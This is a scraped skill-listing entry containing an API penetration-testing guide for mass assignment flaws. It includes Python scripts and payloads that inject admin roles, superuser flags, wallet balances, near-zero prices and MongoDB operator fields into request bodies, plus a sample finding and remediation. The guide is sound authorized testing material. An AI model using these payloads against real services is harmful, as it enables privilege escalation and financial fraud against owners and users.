[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DDGD0XK3M5D25WRX3XD8HH":3,"skill-same:01M7DDGD0XK3M5D25WRX3XD8HH":85},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":46,"commitSha":47,"skillDirectory":48,"forksCount":49,"repositoryHtmlUrl":50,"repositoryHomepageUrl":6,"ownerHtmlUrl":51,"ownerBlogUrl":52,"ownerDescription":53,"updatedAt":54,"install":55,"resources":68},"01M7DDGD0XK3M5D25WRX3XD8HH","testing-api-for-mass-assignment-vulnerability",null,"Tests APIs for mass assignment (auto-binding), OWASP API3:2023, by identifying writable endpoints, adding undocumented fields to request bodies (role, isAdmin, price, balance), and checking whether the server binds them to the data model without filtering. Use when testing an API for mass assignment, parameter binding abuse, or over-posting on profile, registration, or object-creation endpoints.","SaiVatsal\u002FSkills-I-Use","SaiVatsal","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F242597752?v=4","01M7D5YM1T4VXW9203M0GFAHZ1","SaiVatsalPolimera","01M7D5YM2D61ST39XVR2V7B7ZJ",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Ftesting-api-for-mass-assignment-vulnerability\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Ftesting-api-for-mass-assignment-vulnerability\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: testing-api-for-mass-assignment-vulnerability\ndescription: 'Tests APIs for mass assignment (auto-binding), OWASP API3:2023, by identifying\n  writable endpoints, adding undocumented fields to request bodies (role, isAdmin,\n  price, balance), and checking whether the server binds them to the data model without\n  filtering. Use when testing an API for mass assignment, parameter binding abuse,\n  or over-posting on profile, registration, or object-creation endpoints.\n\n  '\ndomain: cybersecurity\nsubdomain: api-security\ntags:\n- api-security\n- owasp\n- mass-assignment\n- auto-binding\n- parameter-tampering\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1552.001\n- T0816\n- T0836\n---\n# Testing API for Mass Assignment Vulnerability\n\n## When to Use\n\n- Testing API endpoints that accept JSON\u002FXML request bodies for user profile updates, registration, or object creation\n- Assessing whether the API binds all client-supplied properties to the data model without an allowlist\n- Evaluating if users can set privileged attributes (role, permissions, pricing, balance) through regular update endpoints\n- Testing APIs built with ORMs that auto-bind request parameters to database models\n- Validating that server-side input validation restricts writeable properties per user role\n\n**Do not use** without written authorization. Mass assignment testing involves modifying object properties in potentially destructive ways.\n\n## Prerequisites\n\n- Written authorization specifying target API endpoints and scope\n- Test accounts at different privilege levels\n- API documentation or OpenAPI specification to identify expected request fields\n- Burp Suite Professional for request interception and parameter injection\n- Python 3.10+ with `requests` library\n- Knowledge of the backend framework (Rails, Django, Express, Spring) to predict parameter binding behavior\n\n## Workflow\n\n### Step 1: Identify Writable Endpoints and Expected Parameters\n\n```python\nimport requests\nimport json\nimport copy\n\nBASE_URL = \"https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fv1\"\nuser_headers = {\"Authorization\": \"Bearer \u003Cuser_token>\", \"Content-Type\": \"application\u002Fjson\"}\n\n# Identify endpoints that accept write operations\nwritable_endpoints = [\n    {\"method\": \"POST\", \"path\": \"\u002Fusers\u002Fregister\", \"expected_fields\": [\"email\", \"password\", \"name\"]},\n    {\"method\": \"PUT\", \"path\": \"\u002Fusers\u002Fme\", \"expected_fields\": [\"name\", \"email\", \"avatar\"]},\n    {\"method\": \"PATCH\", \"path\": \"\u002Fusers\u002Fme\", \"expected_fields\": [\"name\", \"bio\"]},\n    {\"method\": \"POST\", \"path\": \"\u002Forders\", \"expected_fields\": [\"items\", \"shipping_address\"]},\n    {\"method\": \"PUT\", \"path\": \"\u002Forders\u002F1001\", \"expected_fields\": [\"shipping_address\"]},\n    {\"method\": \"POST\", \"path\": \"\u002Fproducts\", \"expected_fields\": [\"name\", \"description\", \"price\"]},\n    {\"method\": \"POST\", \"path\": \"\u002Fcomments\", \"expected_fields\": [\"body\", \"post_id\"]},\n    {\"method\": \"PUT\", \"path\": \"\u002Fsettings\", \"expected_fields\": [\"notifications\", \"language\"]},\n]\n\n# First, get the current user state as baseline\nbaseline_user = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_headers).json()\nprint(f\"Baseline user state: {json.dumps(baseline_user, indent=2)}\")\n```\n\n### Step 2: Inject Privileged Fields\n\n```python\n# Fields that should never be user-writable\nPRIVILEGE_FIELDS = {\n    \"role_elevation\": {\"role\": \"admin\", \"user_role\": \"admin\", \"userRole\": \"admin\",\n                       \"account_type\": \"admin\", \"accountType\": \"admin\"},\n    \"admin_flags\": {\"is_admin\": True, \"isAdmin\": True, \"admin\": True,\n                    \"is_superuser\": True, \"isSuperuser\": True, \"superuser\": True},\n    \"permission_override\": {\"permissions\": [\"*\"], \"scopes\": [\"admin:*\"],\n                           \"groups\": [\"administrators\"], \"roles\": [\"admin\"]},\n    \"account_status\": {\"is_active\": True, \"isActive\": True, \"verified\": True,\n                       \"email_verified\": True, \"is_verified\": True, \"status\": \"active\"},\n    \"financial\": {\"balance\": 99999.99, \"credit\": 99999, \"discount\": 100,\n                  \"price\": 0.01, \"amount\": 0.01},\n    \"ownership\": {\"user_id\": 1, \"userId\": 1, \"owner_id\": 1, \"ownerId\": 1,\n                  \"created_by\": 1, \"createdBy\": 1},\n    \"internal\": {\"internal_notes\": \"test\", \"debug\": True, \"hidden\": False,\n                 \"is_deleted\": False, \"is_featured\": True, \"priority\": 0},\n    \"temporal\": {\"created_at\": \"2020-01-01\", \"updated_at\": \"2020-01-01\",\n                 \"createdAt\": \"2020-01-01\", \"updatedAt\": \"2020-01-01\"},\n}\n\ndef test_mass_assignment(endpoint_info):\n    \"\"\"Test a writable endpoint for mass assignment vulnerabilities.\"\"\"\n    method = endpoint_info[\"method\"]\n    path = endpoint_info[\"path\"]\n    expected = endpoint_info[\"expected_fields\"]\n    findings = []\n\n    # Build a valid base request\n    base_body = {}\n    for field in expected:\n        if field == \"email\":\n            base_body[field] = \"test@example.com\"\n        elif field == \"password\":\n            base_body[field] = \"SecurePass123!\"\n        elif field == \"name\":\n            base_body[field] = \"Test User\"\n        elif field == \"items\":\n            base_body[field] = [{\"product_id\": 1, \"quantity\": 1}]\n        else:\n            base_body[field] = \"test_value\"\n\n    # Test each category of privileged fields\n    for category, fields in PRIVILEGE_FIELDS.items():\n        test_body = {**base_body, **fields}\n        resp = requests.request(method, f\"{BASE_URL}{path}\",\n                              headers=user_headers, json=test_body)\n\n        if resp.status_code in (200, 201):\n            # Verify if the fields were actually set\n            resp_data = resp.json()\n            for field_name, injected_value in fields.items():\n                actual = resp_data.get(field_name)\n                if actual is not None and str(actual) == str(injected_value):\n                    findings.append({\n                        \"endpoint\": f\"{method} {path}\",\n                        \"category\": category,\n                        \"field\": field_name,\n                        \"injected_value\": injected_value,\n                        \"confirmed\": True\n                    })\n                    print(f\"[MASS ASSIGNMENT] {method} {path}: {field_name}={injected_value} accepted\")\n\n    return findings\n\nall_findings = []\nfor endpoint in writable_endpoints:\n    findings = test_mass_assignment(endpoint)\n    all_findings.extend(findings)\n\nprint(f\"\\nTotal mass assignment findings: {len(all_findings)}\")\n```\n\n### Step 3: Verify Assignment Through State Change\n\n```python\ndef verify_mass_assignment(field_name, injected_value, verification_endpoint=\"\u002Fusers\u002Fme\"):\n    \"\"\"Verify that the mass-assigned field actually persists in the database.\"\"\"\n    # Re-fetch the object to confirm the field was saved\n    resp = requests.get(f\"{BASE_URL}{verification_endpoint}\", headers=user_headers)\n    if resp.status_code == 200:\n        current_state = resp.json()\n        actual_value = current_state.get(field_name)\n        if actual_value is not None:\n            match = str(actual_value) == str(injected_value)\n            print(f\"  Verification: {field_name} = {actual_value} (injected: {injected_value}) -> {'CONFIRMED' if match else 'NOT MATCHED'}\")\n            return match\n    return False\n\n# Test role elevation via profile update\nprint(\"\\n=== Role Elevation Test ===\")\n# Step 1: Check current role\nme = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_headers).json()\nprint(f\"Current role: {me.get('role', 'unknown')}\")\n\n# Step 2: Attempt to set admin role\nupdate_resp = requests.put(f\"{BASE_URL}\u002Fusers\u002Fme\",\n    headers=user_headers,\n    json={\"name\": me.get(\"name\", \"Test\"), \"role\": \"admin\"})\nprint(f\"Update response: {update_resp.status_code}\")\n\n# Step 3: Verify if role changed\nme_after = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_headers).json()\nprint(f\"Role after update: {me_after.get('role', 'unknown')}\")\nif me_after.get(\"role\") == \"admin\":\n    print(\"[CRITICAL] Mass assignment: Role elevated to admin\")\n\n# Step 4: Test admin access\nadmin_resp = requests.get(f\"{BASE_URL}\u002Fadmin\u002Fusers\", headers=user_headers)\nif admin_resp.status_code == 200:\n    print(\"[CRITICAL] Admin access confirmed after role elevation\")\n```\n\n### Step 4: Framework-Specific Testing\n\n```python\n# Ruby on Rails \u002F Active Record style\nrails_payloads = [\n    {\"user\": {\"name\": \"Test\", \"role\": \"admin\", \"admin\": True}},  # Nested under model name\n    {\"user[name]\": \"Test\", \"user[role]\": \"admin\"},                # Form-style nested\n]\n\n# Django REST Framework style\ndjango_payloads = [\n    {\"username\": \"test\", \"is_staff\": True, \"is_superuser\": True},\n    {\"username\": \"test\", \"groups\": [1]},  # Add to admin group by ID\n]\n\n# Express.js \u002F Mongoose style\nexpress_payloads = [\n    {\"name\": \"test\", \"__v\": 0, \"_id\": \"000000000000000000000001\"},  # Override MongoDB _id\n    {\"name\": \"test\", \"$set\": {\"role\": \"admin\"}},                     # MongoDB operator injection\n]\n\n# Spring Boot \u002F JPA style\nspring_payloads = [\n    {\"name\": \"test\", \"authorities\": [{\"authority\": \"ROLE_ADMIN\"}]},\n    {\"name\": \"test\", \"class.module.classLoader\": \"\"},  # Spring4Shell style\n]\n\n# Test each framework-specific payload\nfor payload in rails_payloads + django_payloads + express_payloads + spring_payloads:\n    resp = requests.put(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_headers, json=payload)\n    if resp.status_code in (200, 201):\n        print(f\"[ACCEPTED] Payload: {json.dumps(payload)[:100]} -> {resp.status_code}\")\n```\n\n### Step 5: Order and Financial Object Mass Assignment\n\n```python\n# Test price\u002Famount manipulation in e-commerce APIs\nprint(\"\\n=== Financial Mass Assignment Tests ===\")\n\n# Test 1: Create order with manipulated price\norder_body = {\n    \"items\": [{\"product_id\": 42, \"quantity\": 1}],\n    \"shipping_address\": {\"street\": \"123 Test St\", \"city\": \"Test City\"},\n    # Injected fields\n    \"total\": 0.01,\n    \"subtotal\": 0.01,\n    \"discount_percent\": 100,\n    \"coupon_code\": \"FREEORDER\",\n    \"shipping_cost\": 0,\n    \"tax\": 0,\n}\n\nresp = requests.post(f\"{BASE_URL}\u002Forders\", headers=user_headers, json=order_body)\nif resp.status_code in (200, 201):\n    order = resp.json()\n    print(f\"Order created - Total: {order.get('total', 'N\u002FA')}, Discount: {order.get('discount_percent', 'N\u002FA')}\")\n    if float(order.get(\"total\", 999)) \u003C 1.0:\n        print(\"[CRITICAL] Price manipulation via mass assignment\")\n\n# Test 2: Modify order status\nresp = requests.patch(f\"{BASE_URL}\u002Forders\u002F1001\",\n    headers=user_headers,\n    json={\"status\": \"completed\", \"payment_status\": \"paid\", \"refund_amount\": 0})\nif resp.status_code == 200:\n    print(f\"[MASS ASSIGNMENT] Order status\u002Fpayment fields modified\")\n\n# Test 3: User balance manipulation\nresp = requests.put(f\"{BASE_URL}\u002Fusers\u002Fme\u002Fwallet\",\n    headers=user_headers,\n    json={\"amount\": 10, \"balance\": 99999.99, \"currency\": \"USD\"})\nif resp.status_code == 200:\n    wallet = resp.json()\n    if float(wallet.get(\"balance\", 0)) > 10000:\n        print(\"[CRITICAL] Wallet balance manipulation via mass assignment\")\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Mass Assignment** | Vulnerability where an API automatically binds client-supplied parameters to internal object properties without filtering, allowing modification of unintended fields |\n| **Auto-Binding** | Framework feature that maps HTTP request parameters directly to object model attributes, enabling mass assignment when no allowlist is configured |\n| **Allowlist (Whitelist)** | Server-side list of fields that the API explicitly allows clients to set, rejecting all other parameters |\n| **Blocklist (Blacklist)** | Server-side list of fields that the API explicitly blocks from client modification (less secure than allowlist) |\n| **Object Property Level Authorization** | OWASP API3:2023 - ensuring that users can only read\u002Fwrite object properties they are authorized to access |\n| **DTO (Data Transfer Object)** | Pattern where a separate object defines the allowed input fields, decoupling the API contract from the internal data model |\n\n## Tools & Systems\n\n- **Burp Suite Professional**: Intercept write requests and inject additional parameters using Repeater and Intruder\n- **Param Miner (Burp Extension)**: Automatically discovers hidden parameters by fuzzing request bodies and headers\n- **Arjun**: Parameter discovery tool that finds hidden HTTP parameters in API endpoints\n- **OWASP ZAP**: Active scanner with parameter injection capabilities for mass assignment detection\n- **Postman**: API testing platform for crafting requests with injected parameters and verifying responses\n\n## Common Scenarios\n\n### Scenario: SaaS User Registration Mass Assignment\n\n**Context**: A SaaS platform allows user self-registration through a REST API. The registration endpoint accepts name, email, and password. The backend uses an ORM that auto-binds request parameters to the User model.\n\n**Approach**:\n1. Register a new user with only expected fields: `POST \u002Fapi\u002Fv1\u002Fregister {\"name\":\"Test\",\"email\":\"test@example.com\",\"password\":\"Pass123!\"}` - returns user with `role: \"user\"`\n2. Register another user with injected role: `POST \u002Fapi\u002Fv1\u002Fregister {\"name\":\"Admin\",\"email\":\"admin@example.com\",\"password\":\"Pass123!\",\"role\":\"admin\"}` - returns user with `role: \"admin\"`\n3. Confirm admin access by calling admin endpoints with the new account\n4. Test additional fields: `is_verified: true` bypasses email verification, `subscription_plan: \"enterprise\"` grants premium features\n5. Test profile update endpoint: `PUT \u002Fapi\u002Fv1\u002Fusers\u002Fme {\"name\":\"Test\",\"balance\":99999}` - wallet balance modified\n\n**Pitfalls**:\n- Only testing obvious fields like \"role\" and missing domain-specific fields like \"subscription_plan\", \"credit_limit\", or \"verified\"\n- Not verifying that the injected field was actually saved (some APIs return 200 but silently ignore unknown fields)\n- Assuming that blocklisting \"role\" prevents mass assignment when \"isAdmin\", \"is_admin\", or \"admin\" may also work\n- Not testing both creation (POST) and update (PUT\u002FPATCH) endpoints as they may have different filtering\n- Missing nested object mass assignment where fields like `user.role` or `address.verified` can be injected\n\n## Output Format\n\n```\n## Finding: Mass Assignment Enables Role Elevation via Registration API\n\n**ID**: API-MASS-001\n**Severity**: Critical (CVSS 9.8)\n**OWASP API**: API3:2023 - Broken Object Property Level Authorization\n**Affected Endpoints**:\n  - POST \u002Fapi\u002Fv1\u002Fregister\n  - PUT \u002Fapi\u002Fv1\u002Fusers\u002Fme\n  - POST \u002Fapi\u002Fv1\u002Forders\n\n**Description**:\nThe API binds all client-supplied JSON fields directly to the database model\nwithout filtering. An attacker can include undocumented fields in registration\nand update requests to elevate their role to admin, bypass email verification,\nmodify wallet balances, and manipulate order pricing.\n\n**Proof of Concept**:\n1. Register with injected role:\n   POST \u002Fapi\u002Fv1\u002Fregister\n   {\"name\":\"Attacker\",\"email\":\"attacker@evil.com\",\"password\":\"P@ss123!\",\"role\":\"admin\"}\n   Response: {\"id\":5001,\"name\":\"Attacker\",\"role\":\"admin\",\"is_verified\":false}\n\n2. Update profile with injected balance:\n   PUT \u002Fapi\u002Fv1\u002Fusers\u002Fme\n   {\"name\":\"Attacker\",\"balance\":99999.99}\n   Response: {\"id\":5001,\"balance\":99999.99}\n\n3. Create order with manipulated price:\n   POST \u002Fapi\u002Fv1\u002Forders\n   {\"items\":[{\"product_id\":42,\"qty\":1}],\"total\":0.01}\n   Response: {\"order_id\":8001,\"total\":0.01}\n\n**Impact**:\nAny user can gain administrative access, manipulate financial data,\nbypass security controls, and purchase products at arbitrary prices.\n\n**Remediation**:\n1. Implement DTOs\u002Finput schemas that explicitly define allowed fields per endpoint per role\n2. Use framework-specific mass assignment protection (Rails: strong parameters, Django: serializer fields)\n3. Never bind request parameters directly to the data model\n4. Add integration tests that verify undocumented fields are rejected\n5. Use an allowlist approach rather than blocklist for writable fields\n```\n","# Testing API for Mass Assignment Vulnerability\n\n## When to Use\n\n- Testing API endpoints that accept JSON\u002FXML request bodies for user profile updates, registration, or object creation\n- Assessing whether the API binds all client-supplied properties to the data model without an allowlist\n- Evaluating if users can set privileged attributes (role, permissions, pricing, balance) through regular update endpoints\n- Testing APIs built with ORMs that auto-bind request parameters to database models\n- Validating that server-side input validation restricts writeable properties per user role\n\n**Do not use** without written authorization. Mass assignment testing involves modifying object properties in potentially destructive ways.\n\n## Prerequisites\n\n- Written authorization specifying target API endpoints and scope\n- Test accounts at different privilege levels\n- API documentation or OpenAPI specification to identify expected request fields\n- Burp Suite Professional for request interception and parameter injection\n- Python 3.10+ with `requests` library\n- Knowledge of the backend framework (Rails, Django, Express, Spring) to predict parameter binding behavior\n\n## Workflow\n\n### Step 1: Identify Writable Endpoints and Expected Parameters\n\n```python\nimport requests\nimport json\nimport copy\n\nBASE_URL = \"https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fv1\"\nuser_headers = {\"Authorization\": \"Bearer \u003Cuser_token>\", \"Content-Type\": \"application\u002Fjson\"}\n\n# Identify endpoints that accept write operations\nwritable_endpoints = [\n    {\"method\": \"POST\", \"path\": \"\u002Fusers\u002Fregister\", \"expected_fields\": [\"email\", \"password\", \"name\"]},\n    {\"method\": \"PUT\", \"path\": \"\u002Fusers\u002Fme\", \"expected_fields\": [\"name\", \"email\", \"avatar\"]},\n    {\"method\": \"PATCH\", \"path\": \"\u002Fusers\u002Fme\", \"expected_fields\": [\"name\", \"bio\"]},\n    {\"method\": \"POST\", \"path\": \"\u002Forders\", \"expected_fields\": [\"items\", \"shipping_address\"]},\n    {\"method\": \"PUT\", \"path\": \"\u002Forders\u002F1001\", \"expected_fields\": [\"shipping_address\"]},\n    {\"method\": \"POST\", \"path\": \"\u002Fproducts\", \"expected_fields\": [\"name\", \"description\", \"price\"]},\n    {\"method\": \"POST\", \"path\": \"\u002Fcomments\", \"expected_fields\": [\"body\", \"post_id\"]},\n    {\"method\": \"PUT\", \"path\": \"\u002Fsettings\", \"expected_fields\": [\"notifications\", \"language\"]},\n]\n\n# First, get the current user state as baseline\nbaseline_user = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_headers).json()\nprint(f\"Baseline user state: {json.dumps(baseline_user, indent=2)}\")\n```\n\n### Step 2: Inject Privileged Fields\n\n```python\n# Fields that should never be user-writable\nPRIVILEGE_FIELDS = {\n    \"role_elevation\": {\"role\": \"admin\", \"user_role\": \"admin\", \"userRole\": \"admin\",\n                       \"account_type\": \"admin\", \"accountType\": \"admin\"},\n    \"admin_flags\": {\"is_admin\": True, \"isAdmin\": True, \"admin\": True,\n                    \"is_superuser\": True, \"isSuperuser\": True, \"superuser\": True},\n    \"permission_override\": {\"permissions\": [\"*\"], \"scopes\": [\"admin:*\"],\n                           \"groups\": [\"administrators\"], \"roles\": [\"admin\"]},\n    \"account_status\": {\"is_active\": True, \"isActive\": True, \"verified\": True,\n                       \"email_verified\": True, \"is_verified\": True, \"status\": \"active\"},\n    \"financial\": {\"balance\": 99999.99, \"credit\": 99999, \"discount\": 100,\n                  \"price\": 0.01, \"amount\": 0.01},\n    \"ownership\": {\"user_id\": 1, \"userId\": 1, \"owner_id\": 1, \"ownerId\": 1,\n                  \"created_by\": 1, \"createdBy\": 1},\n    \"internal\": {\"internal_notes\": \"test\", \"debug\": True, \"hidden\": False,\n                 \"is_deleted\": False, \"is_featured\": True, \"priority\": 0},\n    \"temporal\": {\"created_at\": \"2020-01-01\", \"updated_at\": \"2020-01-01\",\n                 \"createdAt\": \"2020-01-01\", \"updatedAt\": \"2020-01-01\"},\n}\n\ndef test_mass_assignment(endpoint_info):\n    \"\"\"Test a writable endpoint for mass assignment vulnerabilities.\"\"\"\n    method = endpoint_info[\"method\"]\n    path = endpoint_info[\"path\"]\n    expected = endpoint_info[\"expected_fields\"]\n    findings = []\n\n    # Build a valid base request\n    base_body = {}\n    for field in expected:\n        if field == \"email\":\n            base_body[field] = \"test@example.com\"\n        elif field == \"password\":\n            base_body[field] = \"SecurePass123!\"\n        elif field == \"name\":\n            base_body[field] = \"Test User\"\n        elif field == \"items\":\n            base_body[field] = [{\"product_id\": 1, \"quantity\": 1}]\n        else:\n            base_body[field] = \"test_value\"\n\n    # Test each category of privileged fields\n    for category, fields in PRIVILEGE_FIELDS.items():\n        test_body = {**base_body, **fields}\n        resp = requests.request(method, f\"{BASE_URL}{path}\",\n                              headers=user_headers, json=test_body)\n\n        if resp.status_code in (200, 201):\n            # Verify if the fields were actually set\n            resp_data = resp.json()\n            for field_name, injected_value in fields.items():\n                actual = resp_data.get(field_name)\n                if actual is not None and str(actual) == str(injected_value):\n                    findings.append({\n                        \"endpoint\": f\"{method} {path}\",\n                        \"category\": category,\n                        \"field\": field_name,\n                        \"injected_value\": injected_value,\n                        \"confirmed\": True\n                    })\n                    print(f\"[MASS ASSIGNMENT] {method} {path}: {field_name}={injected_value} accepted\")\n\n    return findings\n\nall_findings = []\nfor endpoint in writable_endpoints:\n    findings = test_mass_assignment(endpoint)\n    all_findings.extend(findings)\n\nprint(f\"\\nTotal mass assignment findings: {len(all_findings)}\")\n```\n\n### Step 3: Verify Assignment Through State Change\n\n```python\ndef verify_mass_assignment(field_name, injected_value, verification_endpoint=\"\u002Fusers\u002Fme\"):\n    \"\"\"Verify that the mass-assigned field actually persists in the database.\"\"\"\n    # Re-fetch the object to confirm the field was saved\n    resp = requests.get(f\"{BASE_URL}{verification_endpoint}\", headers=user_headers)\n    if resp.status_code == 200:\n        current_state = resp.json()\n        actual_value = current_state.get(field_name)\n        if actual_value is not None:\n            match = str(actual_value) == str(injected_value)\n            print(f\"  Verification: {field_name} = {actual_value} (injected: {injected_value}) -> {'CONFIRMED' if match else 'NOT MATCHED'}\")\n            return match\n    return False\n\n# Test role elevation via profile update\nprint(\"\\n=== Role Elevation Test ===\")\n# Step 1: Check current role\nme = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_headers).json()\nprint(f\"Current role: {me.get('role', 'unknown')}\")\n\n# Step 2: Attempt to set admin role\nupdate_resp = requests.put(f\"{BASE_URL}\u002Fusers\u002Fme\",\n    headers=user_headers,\n    json={\"name\": me.get(\"name\", \"Test\"), \"role\": \"admin\"})\nprint(f\"Update response: {update_resp.status_code}\")\n\n# Step 3: Verify if role changed\nme_after = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_headers).json()\nprint(f\"Role after update: {me_after.get('role', 'unknown')}\")\nif me_after.get(\"role\") == \"admin\":\n    print(\"[CRITICAL] Mass assignment: Role elevated to admin\")\n\n# Step 4: Test admin access\nadmin_resp = requests.get(f\"{BASE_URL}\u002Fadmin\u002Fusers\", headers=user_headers)\nif admin_resp.status_code == 200:\n    print(\"[CRITICAL] Admin access confirmed after role elevation\")\n```\n\n### Step 4: Framework-Specific Testing\n\n```python\n# Ruby on Rails \u002F Active Record style\nrails_payloads = [\n    {\"user\": {\"name\": \"Test\", \"role\": \"admin\", \"admin\": True}},  # Nested under model name\n    {\"user[name]\": \"Test\", \"user[role]\": \"admin\"},                # Form-style nested\n]\n\n# Django REST Framework style\ndjango_payloads = [\n    {\"username\": \"test\", \"is_staff\": True, \"is_superuser\": True},\n    {\"username\": \"test\", \"groups\": [1]},  # Add to admin group by ID\n]\n\n# Express.js \u002F Mongoose style\nexpress_payloads = [\n    {\"name\": \"test\", \"__v\": 0, \"_id\": \"000000000000000000000001\"},  # Override MongoDB _id\n    {\"name\": \"test\", \"$set\": {\"role\": \"admin\"}},                     # MongoDB operator injection\n]\n\n# Spring Boot \u002F JPA style\nspring_payloads = [\n    {\"name\": \"test\", \"authorities\": [{\"authority\": \"ROLE_ADMIN\"}]},\n    {\"name\": \"test\", \"class.module.classLoader\": \"\"},  # Spring4Shell style\n]\n\n# Test each framework-specific payload\nfor payload in rails_payloads + django_payloads + express_payloads + spring_payloads:\n    resp = requests.put(f\"{BASE_URL}\u002Fusers\u002Fme\", headers=user_headers, json=payload)\n    if resp.status_code in (200, 201):\n        print(f\"[ACCEPTED] Payload: {json.dumps(payload)[:100]} -> {resp.status_code}\")\n```\n\n### Step 5: Order and Financial Object Mass Assignment\n\n```python\n# Test price\u002Famount manipulation in e-commerce APIs\nprint(\"\\n=== Financial Mass Assignment Tests ===\")\n\n# Test 1: Create order with manipulated price\norder_body = {\n    \"items\": [{\"product_id\": 42, \"quantity\": 1}],\n    \"shipping_address\": {\"street\": \"123 Test St\", \"city\": \"Test City\"},\n    # Injected fields\n    \"total\": 0.01,\n    \"subtotal\": 0.01,\n    \"discount_percent\": 100,\n    \"coupon_code\": \"FREEORDER\",\n    \"shipping_cost\": 0,\n    \"tax\": 0,\n}\n\nresp = requests.post(f\"{BASE_URL}\u002Forders\", headers=user_headers, json=order_body)\nif resp.status_code in (200, 201):\n    order = resp.json()\n    print(f\"Order created - Total: {order.get('total', 'N\u002FA')}, Discount: {order.get('discount_percent', 'N\u002FA')}\")\n    if float(order.get(\"total\", 999)) \u003C 1.0:\n        print(\"[CRITICAL] Price manipulation via mass assignment\")\n\n# Test 2: Modify order status\nresp = requests.patch(f\"{BASE_URL}\u002Forders\u002F1001\",\n    headers=user_headers,\n    json={\"status\": \"completed\", \"payment_status\": \"paid\", \"refund_amount\": 0})\nif resp.status_code == 200:\n    print(f\"[MASS ASSIGNMENT] Order status\u002Fpayment fields modified\")\n\n# Test 3: User balance manipulation\nresp = requests.put(f\"{BASE_URL}\u002Fusers\u002Fme\u002Fwallet\",\n    headers=user_headers,\n    json={\"amount\": 10, \"balance\": 99999.99, \"currency\": \"USD\"})\nif resp.status_code == 200:\n    wallet = resp.json()\n    if float(wallet.get(\"balance\", 0)) > 10000:\n        print(\"[CRITICAL] Wallet balance manipulation via mass assignment\")\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Mass Assignment** | Vulnerability where an API automatically binds client-supplied parameters to internal object properties without filtering, allowing modification of unintended fields |\n| **Auto-Binding** | Framework feature that maps HTTP request parameters directly to object model attributes, enabling mass assignment when no allowlist is configured |\n| **Allowlist (Whitelist)** | Server-side list of fields that the API explicitly allows clients to set, rejecting all other parameters |\n| **Blocklist (Blacklist)** | Server-side list of fields that the API explicitly blocks from client modification (less secure than allowlist) |\n| **Object Property Level Authorization** | OWASP API3:2023 - ensuring that users can only read\u002Fwrite object properties they are authorized to access |\n| **DTO (Data Transfer Object)** | Pattern where a separate object defines the allowed input fields, decoupling the API contract from the internal data model |\n\n## Tools & Systems\n\n- **Burp Suite Professional**: Intercept write requests and inject additional parameters using Repeater and Intruder\n- **Param Miner (Burp Extension)**: Automatically discovers hidden parameters by fuzzing request bodies and headers\n- **Arjun**: Parameter discovery tool that finds hidden HTTP parameters in API endpoints\n- **OWASP ZAP**: Active scanner with parameter injection capabilities for mass assignment detection\n- **Postman**: API testing platform for crafting requests with injected parameters and verifying responses\n\n## Common Scenarios\n\n### Scenario: SaaS User Registration Mass Assignment\n\n**Context**: A SaaS platform allows user self-registration through a REST API. The registration endpoint accepts name, email, and password. The backend uses an ORM that auto-binds request parameters to the User model.\n\n**Approach**:\n1. Register a new user with only expected fields: `POST \u002Fapi\u002Fv1\u002Fregister {\"name\":\"Test\",\"email\":\"test@example.com\",\"password\":\"Pass123!\"}` - returns user with `role: \"user\"`\n2. Register another user with injected role: `POST \u002Fapi\u002Fv1\u002Fregister {\"name\":\"Admin\",\"email\":\"admin@example.com\",\"password\":\"Pass123!\",\"role\":\"admin\"}` - returns user with `role: \"admin\"`\n3. Confirm admin access by calling admin endpoints with the new account\n4. Test additional fields: `is_verified: true` bypasses email verification, `subscription_plan: \"enterprise\"` grants premium features\n5. Test profile update endpoint: `PUT \u002Fapi\u002Fv1\u002Fusers\u002Fme {\"name\":\"Test\",\"balance\":99999}` - wallet balance modified\n\n**Pitfalls**:\n- Only testing obvious fields like \"role\" and missing domain-specific fields like \"subscription_plan\", \"credit_limit\", or \"verified\"\n- Not verifying that the injected field was actually saved (some APIs return 200 but silently ignore unknown fields)\n- Assuming that blocklisting \"role\" prevents mass assignment when \"isAdmin\", \"is_admin\", or \"admin\" may also work\n- Not testing both creation (POST) and update (PUT\u002FPATCH) endpoints as they may have different filtering\n- Missing nested object mass assignment where fields like `user.role` or `address.verified` can be injected\n\n## Output Format\n\n```\n## Finding: Mass Assignment Enables Role Elevation via Registration API\n\n**ID**: API-MASS-001\n**Severity**: Critical (CVSS 9.8)\n**OWASP API**: API3:2023 - Broken Object Property Level Authorization\n**Affected Endpoints**:\n  - POST \u002Fapi\u002Fv1\u002Fregister\n  - PUT \u002Fapi\u002Fv1\u002Fusers\u002Fme\n  - POST \u002Fapi\u002Fv1\u002Forders\n\n**Description**:\nThe API binds all client-supplied JSON fields directly to the database model\nwithout filtering. An attacker can include undocumented fields in registration\nand update requests to elevate their role to admin, bypass 